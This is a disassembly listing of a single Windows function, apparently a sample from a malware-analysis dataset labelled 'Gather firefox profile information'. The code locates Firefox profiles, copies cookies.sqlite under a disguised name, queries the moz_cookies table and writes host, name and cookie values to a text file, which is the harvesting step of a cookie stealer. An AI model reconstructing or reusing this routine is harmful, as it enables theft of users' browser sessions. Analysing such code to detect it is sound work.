Function at 0x140036740
Capabilities:
Gather firefox profile information
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x7c0
mov rax, qword [0x140346fc0]
xor rax, rsp
mov qword [rsp + 0x7b8], rax
xor ebx, ebx
mov edi, ebx
mov dword [rsp + 0x40], ebx
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140036ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x448], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x458], xmm1
lea rax, [rsp + 0x5a0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], bx
jne 0x1400367d0
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x448]
call fcn.140025e20
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x3a0], rax
lea rdx, [rsp + 0x448]
lea rcx, [rsp + 0x390]
call fcn.140036100
nop
mov rsi, qword [rsp + 0x390]
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x90], rax
lea r14, str.Xa_
mov r15d, 2
mov qword [rsp + 0x78], rsi
cmp rsi, qword [rsp + 0x90]
je 0x1400388e0
mov qword [rsp + 0x80], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], rbx
mov r8d, gethostname
lea rdx, str.92_99_111_111_107_105_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x2b0]
call fcn.140025e20
nop
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x2d0]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x1400368ef
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400368ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b36
call fcn.140260e60
lea rdx, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 0xf
seta r9b
cmova rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2e0]
add r8, rdx
lea rdx, [rsp + 0x2d0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x100]
call fcn.14005d8e0
nop
mov r8, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140036947
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
mov rcx, rax
call fcn.14006c220
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 1
movups xmmword [rsp + 0x270], xmm0
movups xmmword [rsp + 0x280], xmm1
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x1400369c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400369bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003893f
call fcn.140260e60
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov r8d, 3
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x1a0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x160], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xc0], ecx
mov qword [rsp + 0xc8], r14
movaps xmm0, xmmword [rsp + 0xc0]
movdqa xmmword [rsp + 0x230], xmm0
mov eax, dword [rsp + 0x160]
test eax, eax
je 0x140038829
cmp eax, 1
je 0x140038831
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], rbx
mov r8d, 0x4e
lea rdx, str.92_70_114_101_100_121_95_67_111_111_107_105_101_115_46_115_113_108_105_116_101
lea rcx, [rsp + 0x2b0]
call fcn.140025e20
nop
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x2f0]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x140036ad7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b0d
call fcn.140260e60
lea r8, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 0xf
seta r9b
cmova r8, qword [rsp + 0x2f0]
add r8, qword [rsp + 0x300]
lea rdx, [rsp + 0x2f0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x120]
call fcn.14005d8e0
nop
mov r8, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140036b2c
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
mov rcx, rax
call fcn.14006c220
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x40], edi
movups xmmword [rsp + 0x250], xmm0
movups xmmword [rsp + 0x260], xmm1
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x140036bad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ba8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038945
call fcn.140260e60
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], 7
mov word [rsp + 0x120], bx
mov r8d, 3
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x1b0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x170], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xd0], ecx
mov qword [rsp + 0xd8], r14
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x230], xmm0
mov eax, dword [rsp + 0x170]
test eax, eax
je 0x140036c54
cmp eax, 1
je 0x140036c5c
lea rcx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rcx, qword [rsp + 0x250]
call fcn.1402427a0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003894b
jmp 0x140036c5c
test ecx, ecx
jne 0x140038964
lea rdx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rdx, qword [rsp + 0x250]
lea rcx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rcx, qword [rsp + 0x270]
xor r8d, r8d
call fcn.140241db4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140038981
lea rcx, [rsp + 0x250]
cmp qword [rsp + 0x268], 7
cmova rcx, qword [rsp + 0x250]
lea rdx, [rsp + 0x220]
call fcn.140183560
mov rcx, qword [rsp + 0x220]
test eax, eax
je 0x140036ef2
call fcn.1401813e0
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140036d2c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036d27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b0d
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 0xf
jbe 0x140036d8b
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036d86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b13
call fcn.140260e60
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2f0], 0
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x140036def
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036dea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389a2
call fcn.140260e60
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 7
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140036e4e
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036e49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389a8
call fcn.140260e60
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
lea rcx, [rsp + 0x390]
call fcn.140042b40
nop
mov rdx, qword [rsp + 0x460]
cmp rdx, 7
jbe 0x140036ec0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x448]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389ae
call fcn.140260e60
mov rcx, qword [rsp + 0x7b8]
xor rcx, rsp
call fcn.140260e40
lea r11, [rsp + 0x7c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x218]
mov r8d, 0xffffffff
lea rdx, str.SELECT_host__name__path__expiry__value__isSecure__isHttpOnly_FROM_moz_cookies
call fcn.1401843e0
test eax, eax
je 0x140037110
mov rcx, qword [rsp + 0x220]
call fcn.1401813e0
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140036f6f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036f6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b0d
call fcn.140260e60
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 0xf
jbe 0x140036fce
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036fc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038b13
call fcn.140260e60
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2f0], 0
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x140037032
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003702d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389a2
call fcn.140260e60
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 7
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x140037091
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003708c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389a8
call fcn.140260e60
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2d0], 0
lea rcx, [rsp + 0x390]
call fcn.140042b40
nop
mov rdx, qword [rsp + 0x460]
cmp rdx, 7
jbe 0x140036ec0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x448]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389ae
jmp 0x140036ebb
mov rcx, qword [rsp + 0x218]
call fcn.140185040
cmp eax, 0x64
jne 0x140038624
xor edx, edx
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov rsi, rax
mov edx, 1
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov r14, rax
mov edx, r15d
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov r15, rax
mov edx, 3
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov r12, rax
mov edx, 4
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov r13, rax
mov edx, 5
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov qword [rsp + 0x88], rax
mov edx, 6
mov rcx, qword [rsp + 0x218]
call fcn.140185630
mov rdx, rax
mov qword [rsp + 0x98], rax
test rsi, rsi
je 0x1400385f2
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], 0
jne 0x1400371d1
test rcx, rcx
je 0x1400385f2
test r14, r14
je 0x1400385f2
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x1400371f3
test rax, rax
je 0x1400385f2
test r15, r15
je 0x1400385f2
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x140037216
test rax, rax
je 0x1400385f2
test r12, r12
je 0x1400385f2
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r12 + rax], 0
jne 0x140037240
test rax, rax
je 0x1400385f2
test r13, r13
je 0x1400385f2
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rax + r13], 0
jne 0x140037263
test rax, rax
je 0x1400385f2
cmp qword [rsp + 0x88], 0
je 0x1400385f2
test rdx, rdx
je 0x1400385f2
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8d, 0x1d
lea rdx, str.92_67_111_111_107_105_101_115
lea rcx, [rsp + 0x48]
call fcn.140025e20
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x2b0]
call fcn.140023cc0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14003730d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037308
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038acb
call fcn.140260e60
lea rdx, [rsp + 0x2b0]
cmp qword [rsp + 0x2c8], 0xf
seta r9b
cmova rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2c0]
add r8, rdx
lea rdx, [rsp + 0x2b0]
test r9b, r9b
cmovne rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0x140]
call fcn.14005d8e0
nop
lea r8, [0x140361710]
cmp qword [0x140361728], 7
cmova r8, qword [0x140361710]
mov r9, qword [0x140361720]
mov rcx, rax
call fcn.14006c220
xorps xmm0, xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x290], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2a0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or edi, 4
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x14003740e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037409
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389b4
call fcn.140260e60
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 7
cmova rdx, qword [rsp + 0x290]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x48]
call fcn.140025e20
or edi, 0x18
mov dword [rsp + 0x70], edi
mov dword [rsp + 0x40], edi
mov r8d, 3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1c0]
call fcn.14000a160
movsd xmm0, qword [rax]
movsd qword [rsp + 0x180], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0xe0], ecx
lea rax, str.Xa_
mov qword [rsp + 0xe8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x230], xmm0
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x140037513
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140037525
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037520
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389ba
jmp 0x140037520
mov dil, 1
test ecx, ecx
jne 0x1400389c0
jmp 0x1400374d4
call fcn.140260e60
test dil, dil
je 0x1400375e3
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 7
cmova rdx, qword [rsp + 0x290]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x48]
call fcn.140025e20
mov edi, dword [rsp + 0x70]
or edi, 0x18000
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call fcn.14024206c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400389da
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400375e7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400375dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400389f0
call fcn.140260e60
jmp 0x1400375e7
mov edi, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x80]
call fcn.140048960
inc rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x428], xmm0
mov qword [rsp + 0x438], rbx
mov qword [rsp + 0x440], rbx
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rdx + 0x10]
cmp rcx, rax
jb 0x1400389f6
sub rcx, rax
mov r8, 0xffffffffffffffff
cmp rcx, r8
cmovb r8, rcx
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x140037645
mov rcx, qword [rdx]
lea rdx, [rcx + rax*2]
lea rcx, [rsp + 0x428]
call fcn.140025e20
or edi, 0x20
mov dword [rsp + 0x40], edi
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 7
seta r9b
cmova rdx, qword [rsp + 0x290]
mov rax, qword [rsp + 0x2a0]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x290]
test r9b, r9b
cmovne rdx, qword [rsp + 0x290]
lea r9, [rsp + 0x68]
lea rcx, [rsp + 0x370]
call fcn.14005fe20
nop
movabs rax, 0x7ffffffffffffffe
mov rcx, qword [rsp + 0x380]
sub rax, rcx
cmp rax, 1
jb 0x1400389fc
lea r9, [rsp + 0x370]
cmp qword [rsp + 0x388], 7
cmova r9, qword [rsp + 0x370]
mov qword [rsp + 0x30], 1
lea rax, [0x1402f64c4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x370]
movzx edx, byte [rsp + 0x68]
lea rcx, [rsp + 0xa0]
call fcn.14006c320
or edi, 0x40
mov dword [rsp + 0x40], edi
mov r8d, 8
lea rdx, str.Firefox_
lea rcx, [rsp + 0xa0]
call fcn.140048ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x240], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
bts edi, 7
mov dword [rsp + 0x40], edi
lea rdx, [rsp + 0x428]
cmp qword [rsp + 0x440], 7
cmova rdx, qword [rsp + 0x428]
mov r8, qword [rsp + 0x438]
lea rcx, [rsp + 0x230]
call fcn.140048ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
bts edi, 8
mov dword [rsp + 0x40], edi
mov r8d, 4
lea rdx, str..txt
lea rcx, [rsp + 0x48]
call fcn.140048ec0
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x360], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
bts edi, 9
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140037890
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003788b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a02
call fcn.140260e60
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], bx
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x1400378eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400378e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a08
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0xb8]
cmp rdx, 7
jbe 0x14003794f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003794a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a0e
call fcn.140260e60
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 7
mov word [rsp + 0xa0], bx
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x490]
call fcn.1402a1980
lea rdx, [rsp + 0x350]
cmp qword [rsp + 0x368], 7
cmova rdx, qword [rsp + 0x350]
mov r8d, 8
lea rcx, [rsp + 0x490]
call fcn.14004dc90
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x490], rax
mov rax, qword [rsp + 0x490]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x48c], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], 0
jne 0x140037a03
mov rdx, rsi
lea rcx, [rsp + 0x230]
call fcn.140012310
nop
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 0xf
seta r9b
cmova rdx, qword [rsp + 0x230]
mov r8, qword [rsp + 0x240]
add r8, rdx
lea rdx, [rsp + 0x230]
test r9b, r9b
cmovne rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x408]
call fcn.14005d8e0
bts edi, 0xa
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x248]
cmp rdx, 0xf
jbe 0x140037ab3
inc rdx
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037aae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a14
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x230], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x140037af0
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140012310
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
seta r9b
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
add r8, rdx
lea rdx, [rsp + 0x48]
test r9b, r9b
cmovne rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x3e8]
call fcn.14005d8e0
bts edi, 0xb
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140037b85
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037b80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a1a
call fcn.140260e60
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], rbx
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x140037bc0
mov rdx, r15
lea rcx, [rsp + 0x230]
call fcn.140012310
nop
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 0xf
seta r9b
cmova rdx, qword [rsp + 0x230]
mov r8, qword [rsp + 0x240]
add r8, rdx
lea rdx, [rsp + 0x230]
test r9b, r9b
cmovne rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x468]
call fcn.14005d8e0
bts edi, 0xc
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x248]
cmp rdx, 0xf
jbe 0x140037c70
inc rdx
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037c6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a20
call fcn.140260e60
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x230], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], 0
jne 0x140037ca5
mov rdx, r12
lea rcx, [rsp + 0x48]
call fcn.140012310
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
seta r9b
cmova rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
add r8, rdx
lea rdx, [rsp + 0x48]
test r9b, r9b
cmovne rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x3c8]
call fcn.14005d8e0
bts edi, 0xd
mov dword [rsp + 0x40], edi
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140037d3a
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037d35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038a26
call fcn.140260e60
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
